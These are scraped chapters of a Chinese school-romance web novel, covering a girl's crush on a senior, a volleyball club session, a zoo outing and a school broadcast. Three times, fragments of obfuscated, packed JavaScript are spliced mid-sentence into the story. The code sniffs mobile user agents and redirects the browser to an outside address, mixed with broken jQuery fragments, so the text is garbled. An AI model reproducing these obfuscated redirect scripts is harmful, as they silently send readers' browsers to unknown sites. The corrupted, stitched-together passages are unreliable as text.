她垂额去看躺在抽屉里被谭应钦折叠好的雨伞,喃喃说:“同学就是要互帮互助。” 微风吹起她耳鬓的长发,丝丝缕缕的光照亮她含笑的眉眼。 程简本能地抬手,发丝掠过他干涩的掌心,带起一阵痒意,他匆匆收回手,很是不屑地小声嘟哝:“你来学校做慈善的啊。大明星的伞更遮风挡雨呗。” 11. 喜欢她 午饭时,江雀给四个人都准备了酸奶,极其郑重道:“首先要祝贺我们的好朋友,余音和喻槐安荣获本次月考的第一名。”她说着举起手里的酸奶瓶,示意三人和她碰杯。 不扫兴的程简举起玻璃瓶快速碰了下,表情却怏怏不乐。 江雀好奇问他:“你干嘛丧着个脸?你考得也不差啊。” 程简摇头,悄声叹了口气,又故作无事地拧开玻璃瓶盖。 只是瓶盖刚转了几圈,玻璃瓶霎时被一只纤长的手抽走。 穿着校服,一头黑色长卷发的女生站在餐桌边,微微蹙眉盯着玻璃瓶看了两秒,仰起下巴,擅自喝了一口。 三人都被女生大胆又无礼的举动惊住。 余音分出注意力观察程简的反应。可程简只是惊讶一瞬,很快就接受了女生抢走酸奶的事实,五官平静。 “难喝,下次换个口味。”女生冷冷的嗓音满是鄙夷和不屑。 余音想,如果换作别人,程简一定暴跳如雷,兴许会指着对方的鼻子破口大骂。 可女生弃如敝屣地把酸奶放回程简手边,他也只是撇着嘴角,哼声道:“你都对嘴喝了,那我还怎么喝?” 女生的两条胳膊的环在胸前,下巴抬得高,狭长的眼睛微微眯起:“那是你的事。” 余音头一回见有人抢东西这么理所当然,毫无歉意。她带着微妙的敌意抬头,与女生对上视线时,又动摇了。 女士因为站着而睥睨四人,玻璃窗折射的强光给她圆润却不失锐气的五官镀上一层朦朦金边,忽闪的长睫掩不住流光溢彩的琥珀瞳仁,神秘而高傲。 “程舒语,走了。” 远处传来一道略微耳熟的嗓音,余音顺着女生的目光侧目。 站在远处,与女生挥手的正是不久前才与她交谈愉快的谭应钦。 可是,余音发现谭应钦对女生展露的笑容远比对她,更加从容自在。 见女生抬脚往谭应钦的方向走,余音心里五味杂陈。半晌都没说话,只静静地听大家说话。 “哇!为什么学姐抢你酸奶,你都不生气,你是不是真的喜欢她!”江雀像发现了惊天秘密,握着手里的勺子对准程简的下巴,作采访样,期待又八卦。 程简一边用筷子把盘子里的辣椒挑出,一边推开江雀手里的“话筒”,翻了个白眼:“程舒语是我堂姐。” “啊?”江雀张大了嘴,“那为什么我不知道!” “你也没问我啊。”程简撇撇嘴,“而且她比我高一个年级,在学校本来就很少遇见。” “可是之前大家都说学姐喜欢你,你们怎么都不否认?” “本来就是假的,我要怎么否认。” “那你不说谁知道......” 除了同姓,女生和程简的样貌没有一点相像之处。余音犹疑开口:“你们真的是姐弟?” “我和她不在一个户口本,异父异母,堂姐弟。”程简目光无比坚定。 话落,余音心里更不是滋味,神色恹恹。 见喻槐安一言不发低头吃饭,程简以为他喝余音是转校生,刚来没多久不了解情况,插不上话才会这样沉默。 江雀索性放下手里的勺子,认真地给两人解说:“学姐因为人漂亮,学习又好,在学校的人气非常高。但是,学校也有很多人不喜欢她,因为她......你们也看到了刚才的事情。总之,大家对她的评价是‘喜欢用鼻孔看人’。” “而学长呢,和学姐一样优秀,但性格特别好,好到学校的流浪猫都知道遇到麻烦先找谭学长。虽然他不一定会帮你,但一定会安慰你,堪称校园白月光中的白月光。” 原来笑容温柔只是习惯。谭应钦对所有人,包括对待小动物都是一样的温柔。可没人会想自己的白月光成为大家的白月光。 余音抿住唇,手指捏着的勺子用力扎进胡萝卜块里。 “学长和学姐和你们两个的关系一样,”江雀瞄了眼余音,又看了喻槐安,“是竞争关系,也是朋友。但我听大家说,不保真啊,听说她们是关系不一般的朋友。” 江雀向程简投以求知若渴的目光,程简把盘里的辣椒挑出,瞥了一眼旁边像是陷入沉思的人,接着加重语气道:“别看我,我也不知道。” 话落,余音胃口全无,可见其他三人盘里的食物还有大半,就拿出手机借口说有电话,起身走出食堂。 操场有人,凉亭有人,教室有人,到处都有人......余音在校园里兜兜转转好久,终于找到一个无人打扰的地方。 她坐在秋千上,暗自烦恼。 程舒语太漂亮了,和她根本是两个类型,无法比较。程舒语成绩还好,一定聪明...... 脑海里不断浮现谭应钦喊程舒语,又冲人挥手微笑的画面。她越想眉头皱的越紧。 后背猛然感受到一股推力,双脚渐渐离开地面,余音回过神来,立刻从秋千椅上跳了下来,扶住旁边的树干。 定睛发现是江雀在搞怪,这才平息被人恶作剧而自然涌上心头的怒气,歪头笑了下。 “你干嘛一个人待在这里?害我找了好久。”江雀话里埋怨,却眯着眼睛从口袋拿出一个三明治,双手递上,“我看你中午都没吃多少,不吃饱下午哪里精神上课啊。” 余音接下后拉着江雀一起坐在秋千椅上,斟酌了许久才组织好语言,迟疑道:“江雀,你喜欢不喜欢程简?” 说曹操,曹操到。 不远处悬挂在粗树干上的音响发出滋滋电流声,要放午间广播了,今天的播音人是程简。 像是被突然响起的声音吓住,江雀刷地一下站起来,手指着头顶的扩音器,瞪大眼睛,不可置信道:“你说的该不会是这个程简吧?” 余音重重地点了下头。 “Stop!”江雀尖声叫道。随后皱鼻,抖擞着肩膀,满心嫌弃道,“谁会喜欢他啊!全世界男生死光了我也不会喜欢他呀!你是没见过他小时候一边结巴一边流口水的痴呆样......” 被江雀浮夸的表演逗笑,余音吸了吸鼻子,恢复正色后抛出真正想问的问题,声音低低的:“那你有喜欢的人吗?” 江雀半秒都不思考,直接道:“没有。” 转眼间,江雀用肩头撞了下余音的手肘,意味不明地笑道:“你不会喜欢程简吧?” 余音咬唇思索一会儿,最后难为情地抬眸:“不是,不是他。” 江雀把自己能叫得上来的男生名字念了个遍,余音的表情如古井无波,眼睛望着远处泛着微光的湖面,嘴角带着一丝恬淡笑意。 等江雀抓挠着耳朵实在说不出更多的名字,余音就垂额看着自己的膝盖,低低道:“是谭学长,谭应钦。” 说完,她便不自主去剥三明治的包装,印着品牌名的包装纸在她翻飞的指间窸窣作响。 江雀怔愣片刻,两三秒后才放平扬起的眉梢,释然道:“学校里很多女生喜欢谭学长,你喜欢他,说明你眼光很好。” “很多吗?但他不是和学姐......” “又没人百分百肯定她们一定是男女朋友的关系,万一只是我和程简这种朋友关系呢。”江雀鼓励般握了握余音的手心,接着双手捧住她的脸蛋左看右看,“你顶着这张脸还需要搞暗恋!见了鬼了。学校里暗恋你的男生才是从这里能排到校外。” 都说有趣的灵魂比好看的皮囊更为重要。可她是无趣的,既做不像江雀这样勇敢无畏,也不像程简那样活泼善言。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477981|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她喜欢的事情也很难与大多数人分享,她把演戏挂嘴上,别人只觉得她特立独行,装的很。 除了现在认识的朋友,她能说得上的话也只有家隔壁院子里的一条狗了。 谭应钦这样见多识广的少年天才,好看的皮囊他见过许多,她对他来说没什么特别的。 余音苦笑一瞬,等江雀松手后低头咬了口三明治。可没想到,江雀接下来的话才是真的叫她慌乱无措。 江雀双手叉腰,直截了当:“你去表白啊,万一他也喜欢你呢!” 余音想否认,奈何嚼碎的食物卡在喉咙里,不上也不下。她捂着嘴咳嗽不停,眼角都渗出泪,“咳、咳——怎么可能!” “他如果不喜欢你,那是他眼光不好。”江雀拍着她的后背,对自己的提议颇为认可,“你不试试怎么知道?今天下午有社团课,我记得他好像也是排球社。刚好高年级最近都没有考试,我去帮你助攻。” “不要不要、不好不好——” 余音否绝了好多次,但架不住江雀的死缠硬磨,连哄带骗。 江雀说,她要勇敢大胆一点,就算不表白,旁敲侧击一下,也能从细枝末节里看出谭应钦的心意。 最后,余音被江雀说服了。 旁敲侧击。 一点点,哪怕谭应钦对她只有一点点的好感。 * 下午的社团课,余音和江雀手挽着手一起站在排球场馆大门。透过玻璃看见谭应钦在网下热身,心脏扑通扑通跳得她迟迟不敢再迈步。 他换掉校服,穿着白色的短袖和中裤,白色的运动鞋,额头上戴着运动发带,扬起的笑容干净而纯粹。 和余音在学校第一次看见他的画面一样,而她远远注视着他的眼神也一样,闪着光,无比憧憬。 在江雀准备推余音一把的时候,同样穿着运动服的程舒语走到谭应钦身边的长椅上坐下。 这一幕让余音本能后退:“我看还是算了吧。” “哎呀,来都来了,怎么能还没开始就放弃呢。”江雀不肯松开她的手,推开门,将人大力拉进场馆内。 原以为没人会注意到自己,余音脚步踉跄地站定在江雀身边,努力稳住心神。 可从场馆更衣室走出来的人是程简,他挥着手,大声冲她喊:“大明星!” 嘹亮的嗓音响彻场馆的每一处角落。 谭应钦的目光也循声而来,余音快速低头弯腰,蹲在地上开始摆弄系得完好的鞋带。 一直等两只脚的鞋带都紧得不能再紧,程简朝她小跑来,余音这才装作无事,站起膝盖,意外道:“你今天怎么也来打排球?” “想来就来呗,反正打什么球都一样。”程简扫了眼这个时间同样不应该出现在这里的江雀,“你怎么在这里,你不是打羽毛球的吗!” “你能来我就不能来?”江雀有意呛他,死守和余音的秘密计划。 没过一分钟,场馆的大门再次被推开。喻槐安拿着羽毛球拍徐徐走来。 程简问他:“你怎么也来了?” 喻槐安扭头看向江雀,表情淡淡:“她不在,我没搭档。” 今天参加排球社团课的人格外多,不仅有鲜少出勤的谭应钦和程舒语,连打篮球和打羽毛球的人也来凑热闹。 可人一多,球就不够分了。社长便开始大家的人分配球和场地:“......程简,你和你的朋友们一个球。” 程简稳稳接住空中飞来的球,预备推着余音的后背远离人群时,又被一道声音叫住。 “余音,我教你吧。” 被叫到名字,余音下意识回头。 谭应钦就站在隔网下,手里同样拿着黄白相间的排球,眉眼弯弯地看着她。 12. 喜欢她 拒绝接近 拒绝交往 被毫无预兆,突如其来的邀请冲昏了头脑,余音呆站在原地,半阖着唇:“他在叫我?” 谭应钦主动包揽下教新同学打球的任务,社长喜笑颜开,冲余音招手并高声道:“错过可就没有了,他是咱们社团最有耐心的好老师。” 谭应钦的主动倒让江雀得意,她凑到余音耳边:“成败在此一举。” 余音喉咙一紧,悄悄攥紧了手指。她没有直接推开程简横挡住她通往幸福道路的手臂,而是弯腰低头钻过。 视若无人的举动气得程简板住眉眼,不过余音看不见,此刻的她正脚步轻盈地走向眼中之人。 谭应钦手里的是全场最干净的一颗球,他带余音走到单独的一块小隔网前,两人各站隔网一面。 他笑着说:“大家都说你滑跪接球的动作做得标准又漂亮,不过地板动作以后可以慢慢学。我们今天练防守,你要学会判断球的落点,在场上快速移动。” 谭应钦先是不断在网下给她喂球,接着引导她在能接住球的前提下越站越远,每次球飞出时,就会第一时间告诉她球的落点。 老师的教学太专业,循序渐进,章法自然,余音的注意力很快就从老师本人转到了排球这项运动上。 她在顺利接住谭应钦抛来的最后一个球时,兴奋地在原地蹦跶一圈。 谭应钦似乎也很满意自己的教学成果,小跑到她身边:“小明星果然聪明,学什么都快。” 意料之外的夸奖让余音面颊一烫,庆幸运动后会脸红是正常现象。 活动许久出了不少汗,披散的长发黏在后脖颈,黏连的触感让余音忍不住一直停下撩头发。 她反手捞起自己的长发,刚想把手伸进口袋找发圈,一只修长却强健的手掌进入视线。 “热了吧,以后打球的时候头发绑起来也不容易受伤。” 谭应钦微微喘气,摊开的掌心里是一件折射着强光的水钻发圈。这发圈和他本人温良谦卑的气质完全不符。 男孩子怎么会随身带发圈? 余音很快就联想到关于他和程舒语的绯闻,确实有女朋友的男生才会这么做。 拿的话会不会被他的女朋友误会?不拿的话会不会被他认为她在嫌弃? 正犹豫不决,又听见谭应钦说:“我问程舒语借的,干净的。”末尾三个字,他像是有意加重咬字。 “谢谢。” 余音轻轻捻起发圈,在他温柔目光的注视下把头发挽好,心里仍暗暗揣测他和程舒语的关系。 她抬眸去找发圈的主人,可把四周看了个遍也没见人,好奇问:“学姐不打球吗?” “她一直都不打的。”见她脸上的困惑仍未消解,谭应钦耐心解释道,“她只是不想待在教室,所以随便找了个不用风吹日晒,管理不严的社团课参加。” 余音似懂非懂地点头,暗想着:“这么多不用风吹日晒的社团课,偏偏是排球?如果他们只是朋友,那这个发圈一会儿社团课结束就要还回去......” 纵使心里有一万个问题,她也没半点要进一步求证的勇气。 而且现在就问他的隐私实在不礼貌。来日方长,以后有的是机会。要是没机会,至少还能维持体面。 “你们打羽毛球的假动作怎么比我还多。” “承认吧,我们打羽毛球的就是比你打篮球优秀。” “可是我们打的是排球!” 另一角落,因为遵守的规则不同,吵得不可开交的江雀和程简也因为社长临时组织的比赛而住口。 今天积极参加活动的余音开始规划大家的站位,余光却见队伍里的程简撩开隔网,径直走到另一面。她和江雀对视一眼,看着程简坚决的背影满腹疑问。 江雀皱起眉:“他又在搞什么啊?” 江雀不冲远处的程简又是耸肩又是手指比画一顿,可程简全都装作看不见似的,专心颠球找手感。 上次的临时比赛,对面还有几个和余音实力、身高不相上下的新手小白,没有输得太难看。可今天的阵容实力完全不一样了。 在余音所属的队伍里,江雀和喻槐安是打羽毛球的,实力不详,似乎对排球的规则也一知半解。而站在隔网对面的全都是一米八几的大高个儿,程简在内。 虽然一直被人夸进步不小,但余音自觉球技没有好到能正儿八经地打比赛。尤其当对面的男生们都站好位时,身高差带来的压迫感不免令她心里犯怵。 余音深呼吸着,左移一步,右移一步,试图通过站位找到安全感。 “没关系,后面有我防守。” 谭应钦不知什么时候换了过来,站在她身后,腰杆挺得笔直,脸上只有笑容,没有一点对这支良莠不齐的队伍的担忧。 总之,谭应钦的球技和人品作担保,余音完全放心把自己的后背交给他。 口哨被吹响的那一秒,各式各样的运动鞋在地板上擦出尖锐短促的声音,前面呜啦一声响,身后马上就响起嗞呜声或嘶鸣声。 余音本以为对手会放她这个新手一马,可想不到,她真正的对手只有一个人——程简。 程简仗着身高和弹跳能力优异,频频吊余音的球,也只拦余音的球。他的每一个动作,是旁观者都能看出来的针对战术,只针对余音。 屡屡空手的余音仰头看着数不清多少次跳起在空中的程简,暗自懊恼道:“他的战术就是不让她接住一个球,一分也没别想拿到。从他走向对立面的时候就该猜到的。” 好在身后还有江雀和谭应钦。江雀的运动天赋惊人,好几次从她擦着她掌心飞出的球将要落地时,江雀都会飞快跳起或弯腰,力挽狂澜。而只要让谭应钦碰到球,他就有办法追回她丢的分。 在稍作休息的间隙,余音不知何时被一只停在隔网中间的绿蜻蜓吸引住。 蜻蜓大概是跟着人进来的,只是排球不长眼睛,大家打得投入时也全然不顾其他。 余音蹑手蹑脚地往场馆中间走,手指刚捏住蜻蜓的翅膀,不知是谁吹响了哨声。 她想出声让大家稍等一下,但是来不及了,对面的男生已经把球往天花板抛了。 只好改变计划,她准备以最快的速度将手心护住的蜻蜓送到门口。 而她的左脚刚迈出界,与她脚尖相抵的是一只白色的,格外眼熟的球鞋。视线忽地被遮挡住,她的额头蓦地撞上什么结实触感的东西。 黄白相间的排球应声滚落在她的脚边,她缓缓抬头,面前的人五官皱着一团,手心紧捂着下巴,一脸痛苦。 又是程简帮她挡下一记从天而来的球。 “你还好吗?”余音问他,恨不得扒开他的手看一看他被自己额头大力一撞的情况如何。 程简明明疼得眼睛都睁不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477982|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴上还在打趣:“幸好我这是原装下巴,也是真的英雄救美了。” 被余音双手包住的蜻蜓不停扇动翅膀,扫得她手心一阵痒,她忙后退半步。 余音终于想起自己本来是要护送蜻蜓的,怕蜻蜓被闷死,她连忙跑到门口的位置,举高手心一甩。而诱发“英雄救美”事件的主要人物头也不回地飞走了,连一句感谢都没留。 众人渐渐上前将负伤的程简围住,拉着他问东问西,他都大手一挥,坦言道:“没事,哪有这么脆弱,打球打球——” 放飞蜻蜓后,余音又一路跑回程简身边,后知后觉地凑上前:“谢谢你,程简,你真好。” 程简捂着下巴,怪为扭捏地笑了笑。 可惜,他的好心情只持续到后半场比赛结束。 他亲眼瞧着余音解开头发,把发圈还给谭应钦,也是笑脸盈盈对人说:“谢谢学长,你真好。” “你真好”,她对每一个帮助过她的人都是这么说的。 他不是例外。 心情从云顶跌到谷底,程简把滚落在脚边的排球踢开,心里怨道:“原来是好人卡!还是量产的!” 晚上回到家,本以为被发好人卡已经今天是最闹心的事情,可程简偏要打破砂锅问到底,打着“我有一个朋友”的旗号,在对话框里删删减减了许久才把信息发出去。 临睡前,余音捂着微热的双颊,不住回味这一天与谭应钦的种种画面。 被他叠好的雨伞,他主动教她排球,他为她借发圈,他站在身后为她托底...... 任何一件事单拎出来都足够她开心好几天。发生了这么多令人喜出望外的事情,也不知道会不会透支好运。 正准备带着甜蜜心情入睡,放在床边的手机一连震动好几下。 江雀:【你和学长表白了吗?我看你们白天相处得挺不错的,有没有好消息!】 程简:【那个发圈我见过,是程舒语的。】 程简:【大明星,我有个问题......】 ...... 江雀和程简几乎同时发来消息,奈何程简的消息太多,余音优先点开和程简的对话框里,噼里啪啦输入了一段文字。 她接着点进江雀的对话框,回复NO和一个小黄豆摇头的表情。 【那你有没有暗示他什么信息?】 余音又回了一个NO和小黄豆哭泣的表情。 【你不是加了他的好友吗?你要不直接告诉他,那今晚睡不着的就是他了,哈哈。】 江雀说得也不是全无道理,主动释放一点点信息应该不会被看低。 余音点进今日新好友的主页,深吸一口气,鼓足了勇气给谭应钦的运动步数点了个赞。 然而,今晚真正的失眠另有其人。 【大明星,我有个问题。】 【如果你的朋友给你表白了你会怎么办?】 【先声明,绝对不是我,是我的一个朋友被类似的问题困扰住。】 【是我的话,应该会明确拒绝。包含但不限于拒绝接近,拒绝交往,拒绝越界行为的肢体接触,拒绝以朋友身份展开的亲密话题,拒绝一切委婉或迂回方式的示好,拒绝所有自以为是,自我感动型的付出。当然这只是我的想法,建议你的朋友具体问题具体分析。】 余音的回复,足够令程简彻夜不眠。 13. 喜欢她 两天前,江雀看见公众号发布了清明节动物园限时免门票的活动,立刻在四个人的小群里吆喝大家一起去。 免门票,那肯定很多人。 余音本想提议换个时间,架不住江雀期待满满的表情,说什么有便宜不占王八蛋之类的话...... 难得今年的清明节没下雨,阳光明媚,戴口罩反倒呼吸不到新鲜空气。余音思索一番,出门时还是只戴了帽子和相机。 地铁车程长又无聊,余音的脑子里开始各种各样的假设,想起离程简家只有一个地铁站,就猜他会不会刚好在这个时间上车。 为了验证,她一直盯着车门,生怕错过漏过任何一张熟面孔。 一直到车门重新关闭都没见到人,她只好把目光落回自己的脚尖,刚垂下头,帽檐突然被压低了些。 以为是陌生人的无意之举,她便往人更少的角落移步。 “大明星,能不能给个签名啊?” 一贯轻快明亮的声音从头顶传来,余音知道是程简,抬头却看见程简眼下乌青一片,昨天被她撞过的下巴倒是没什么异样。 程简把手心摊开,余音配合地抬手,手指在他的掌心随便画了几下:“签好了。不过你昨晚没睡好吗?” 程简没回话,但余音总觉得他有意看向自己的目光充满怨怼。 过了好几个站又遇见另外两人,只是车程太长,去动物园的人太多,余音有些站不住,换了个姿势半倚着车窗。 “有座位,你们坐吧。”喻槐安指了指不远处终于空出的座位。 “谢谢啦。”江雀赶忙拉着余音去到空座。 跟在两人身后的程简嘴快,替人答道:“不客气。” 江雀坐下后,发出“啧啧”声,对程简很是无语:“让座的又不是你,你还不客气上了。” 程简一把搂住喻槐安的肩膀,“我们是好兄弟,谢谁都一样。” “脸比城墙厚。”江雀撇着嘴。 程简夹着嗓音,看向身旁神色平静的人:“好兄弟,你说句话呀!” 被点名的喻槐安羞愤地挣开程简的手,往旁边挪位置。程简不死心,也跟着他挪。 他逃他追的画面惹得江雀和余音捂住嘴,咯咯笑个不停。 * 动物园门口,人比预想得还要多上几倍,最多的还是家长带着小孩,小孩的尖叫声几乎要刺破耳膜。 江雀提议先去儿童占比最少的区域喂长颈鹿,三人欣然接受,跟着江雀的步伐在人群中穿梭。 动物园有规定,身高未满一米二的小孩不能投喂,所以长颈鹿的区域还算清静。 余音歪着脑袋,指着提示牌的注意事项:“为什么身高一米二以下不可以投喂?” 她初中之前有很长时间都和父母在伦敦生活,依稀记得自己在国外也喂过长颈鹿,那时候她才六七岁,身高不到一米二。 “很多小朋友个子小,体重轻。如果刚好碰上长颈鹿比较饿的时候,人会连着树枝一起被吊在空中。”江雀耐心解释,侧身拍响程简的肩头,“他就是那个开创先例的小孩。” “我们小学春游的时候,大家都要去看大熊猫,他偏要喂长颈鹿。老师觉得我俩关系好,就把我和他一起交给司机大叔,让司机大叔带我们去。” 江雀饶有兴致地给大家复述回忆,程简根本没机会让她住口,站在原地无奈地抓了抓发顶。 “等我们买好树枝的时候,大叔说自己要去一下洗手间,让我们在原地等。程简等不及,直接飞奔到长颈鹿的投喂区。”江雀指着程简,已经露出哭笑不得的表情。 “刚开始,长颈鹿只是小口咬他手上的树叶,等到最后一口的时候,长颈鹿一口把树枝全部含住,一直都没有咬断。他那时候又瘦又矮,还犟,就是不肯松手,结果整个人和树枝一起被长颈鹿吊在空中。” “我当时抱着他的腿喊他松手,可是他什么都听不见,只知道哇哇大哭。后来还是大叔来把他救下来的。再后来我们来动物园,就发现多了这一条规定。” “你们是不知道,当时他哭得有多凄惨,我哥给我准备的一大包纸巾全被他用来擦鼻涕眼泪了。” 要把眼前的大高个儿,和江雀口中调皮又可怜的小男孩联想起来。余音和喻槐暗都没忍住,笑弯了眼。 黑历史被人绘声绘色地演绎出来,程简尴尬扭过头,不停摸着鼻子和下巴,扯着嘴角试图转移话题:“谁小时候还没有一两件糗事,谁没有啊,你们肯定都有,我保证。” 见大家笑得更放肆,程简逐一把大把的树枝塞进人手里:“行了,别笑了,赶紧喂。” 在程简举高树枝让长颈鹿享用的时候,余音悄声走到他身边,以只有两个人能听到的音量问他:“所以你是小时候被长颈鹿吊高过,所以长大了就报复性地吊别人的球,对不对?” 她还对他昨天疯狂吊她的球的事情耿耿于怀,眯起眼睛,满是玩味的目光。 程简眨了眨眼睛,接着把她头顶的帽檐往下按,漫不尽心地哼笑道:“谁让你先一直吊我的。” 莫名其妙,真是莫名其妙! 明明一直吊她球的人是他,他怎么还把缘由推到她身上。 而且他蹦起来三米高,就算她踩着弹簧,也未必能吊他的球。 余音隔着帽檐,气鼓鼓地瞪了他一眼,回到江雀身边。 落日时分,整座城市都被渲染上一层浓墨重彩的橘色。 余音带了相机,少不了肩负给大家拍照的重任。 在动物园附近刚好有能够快速洗照片的小店,于是四个脑袋围在一起精挑细选。除了自己的照片,大家都捏了一张四个人的合照。 在返程的地铁上,江雀提议每个人拿出自己的一张照片,四张照片混在一起,大家轮流抽一张,看看谁会抽到谁的照片,抽到任何人的照片都要好好保存,留作纪念。 余音第一个举手赞同。 照片像洗扑克牌一样被打乱,石头剪刀布中胜出的江雀最先抽走其中一张。她搀住余音的胳膊,神情激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477983|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动:“我抽到你在喷泉旁边的照片了!我敢打赌,这张照片等你红遍全球了绝对会被人重金求购......” 余音附和地点点头。其实她现在也就比跑龙套的群演稍微好一点,能被大家记住名字,红遍全球,简直是奢望。 “好巧,我也抽到你和大熊猫的。”她也向江雀展示手里的照片。 程简翻开自己手里的照片,嫌弃地看向旁边的人:“喻槐安,为什么是你的?” 喻槐安听程简这么说,马上了然自己手里拿着的照片是谁的,于是直接收进了口袋。 “不是,你好歹看一眼吧!” 轮到程简被人嫌弃,他看似大力地捶了下喻槐安的后背。 * 岐江中学新一年度的宣传片进入到投票环节,最终能出演的只有前两名。这种纯靠人缘的比赛,谈不上公平。因为有很多朋友,在青春期的年纪本来就值得骄傲。 程简会位列前茅,余音不奇怪,可让她没想到的是程舒语竟然排在第一,并且和第二名有断层现象。 课间休息的时候,江雀拉住余音的手问她怎么不参加。余音摇头,淡淡道:“我没兴趣。” “可是谭学长参加了,虽然他是早上才报名的,现在票数不多,但他肯定会挤进前三的。” 听到熟悉的名字,余音又动摇了,可转念想到自己在学校的人缘并不好,除了他们三个,班里的部分同学,她谁也不认识。 “你参加吧,我还没看过你拍摄的样子。而且你有经验,说不定会比学姐票数还多。”江雀倒是信心满满,见余音不松口,又换了个理由,“如果你和学长是第一第二的话,你就能和他一起拍宣传片,这可是个近距离接触的绝佳机会。” 余音拧着眉头,手托着下巴踱步几圈,最后犹豫道:“那我试试?” “我现在帮你报名!” 江雀动作极快,还没到上课已经完成报名的全部流程。 可距离提交已经过去两天,余音的票数虽然一直在增加,但和第一第二的票数依旧是天差地别。 参赛选手本人不抱希望了,可江雀却干劲满满,想方设法给余音拉票。 江雀趴在桌上,不住哀号道:“我就奇怪了,为什么学姐的票数会这么多啊!还越来越多——” “因为有人给她刷票。”程简随口道。 “谁?”余音和江雀几乎同时开口。 “她爸,我大伯。”程简不以为意,以为两人只是单纯的八卦。 江雀小声问:“怎么刷票?很难吗?” “花钱就行了,有什么难的......你该不会想帮她刷吧?”程简微眯着眼,上下扫视一直捏着手机不放的江雀,又看向旁边的余音,警觉道,“你也想拍宣传片?” 余音难为情地点点头。 程简罕见地谨慎起来:“她的票数要是突然冲到前面,会被人发现,后台也能检测出来。” “没关系,我有办法!”江雀拍着胸脯,一副势在必得的模样。 14. 喜欢她 江雀所谓的办法,就是让午间广播让余音代替程简。 余音纠结了好久,还是决定做一回“出头鸟”。 可当她拿到稿件时,仍忐忑不安。不能重来,完全实时直播。这种感觉和在录音棚给角色配音完全一样。 程简单手撑在桌子上,腰身从她的肩膀上方越过,伸长了手去够面板上的开关,“这个是话筒的开关,往上推就开了。旁边是学校所有教室播放器的......记住了吗?” 余音听得认真,手里捏着的稿子轻轻点着下巴,“记住了,谢谢你。” 一如既往地客气,程简反手指着门的方向,“你要是觉得不好意思,我就出去等。” “还好。” 没有摄像机,没有一大群人旁观,和演戏相比简单许多。看着一排红红绿绿的开关,脑子里都知道每一个按键和什么设备对应,但就是紧张怕一个不小心闹出笑话。多一个熟悉流程的人能及时解决意外。 余音起身从角落拖出把椅子,放在自己的座椅的旁边,“要不你还是和我一起吧。” 程简很是意外,挑高了眉,坐在她身边。 两个人都不说话,空气中似乎都漂浮着紧张分子。 “我第一次主持的时候比你紧张多了。” 程简忽然开口,余音虽然眼睛还盯着纸上的文字,无意识“嗯”了声。 “四岁吧,有点记不清楚了。但是我记得,我那时候真的又怕又紧张,还没上台先尿裤子了,我当时觉得完蛋了。后来还是老师打电话让我爸给我送了条裤子,挺好笑的。” 程简把自己逗笑了,见她的嘴角隐约上扬几个像素点,又说:“你第一次拍戏的时候紧张吗?” 余音皱了下鼻子,“还好。但是我第一次拍广告的时候就很紧张,因为只有我一个人,但是围观的人特别多。我要拿着酸奶假装特效就在我眼前,大家又都看着我......” 回想起那个画面还是觉得很尴尬,她舔了下嘴唇,没再继续说。 “是地铁里的那个广告吗?”程简立刻想起来地铁站二十四小时轮播的广告,“我觉得拍得很好,一点也不看出来紧张。” 电脑上的数字开始倒计时,余音看着手里的稿件,肩线慢慢绷紧。不过是朗诵一篇诗歌,拢共不超过5分钟,比她拍戏拍广告都简单快速。 在程简顺利推动开关之后,她深吸一口气,低头面对话筒,缓缓道:“大家中午好,我是今天的播音员,余音。今天为大家带来经典诗歌,林徽因,你是人间的四月天......” 在教室安静坐着等广播响起的江雀露出得意的笑容,“不愧是演员,咬字不比专业播音的差。你觉得呢?” “现在是四月,很应景。”一直到旁边的喻槐安回应,江雀才停下用胳膊顶他手肘的动作。 播音员忽然换成余音,不仅谭应钦意外,程舒语今天都难得没趴下睡觉,撑起下巴看向窗外。 念完最后一个字,看着程简关闭所有设备,余音大功告成地放下稿子,激动地起身双手按着他的肩膀,前后摇晃几下。 程简被她晃得笑声散漫:“你为什么想参加宣传片的拍摄?” 她松开手,站在原地思考一秒,最后冲他俏皮地眨了眨眼,“秘密。” 她蹦蹦跳跳地走出广播室,剩程简一个人留在原地,反复琢磨她说的“秘密”。 江雀的办法确实有效,但不多。而真正如有神助的是余音在开学前有幸出演的一部志怪电影中的小配角。 屏幕里。 “朦胧见,鬼灯一线,水露桃花面。” 阴风阵阵,冷雾四起,湖心泛起涟漪,慢慢向上飘浮着。湿漉漉的长发,雾朦朦的面颊,黑黝黝的眼珠,血盈盈的嘴唇。她笑吟吟地望着你,望着你。 骇人的,刺骨的,凄冷的,阴诡的,死气的,森然的…… 可毛骨悚然之后便是对那张鬼魅面容的念念不忘。 那张脸美得令人甘愿心神俱裂。 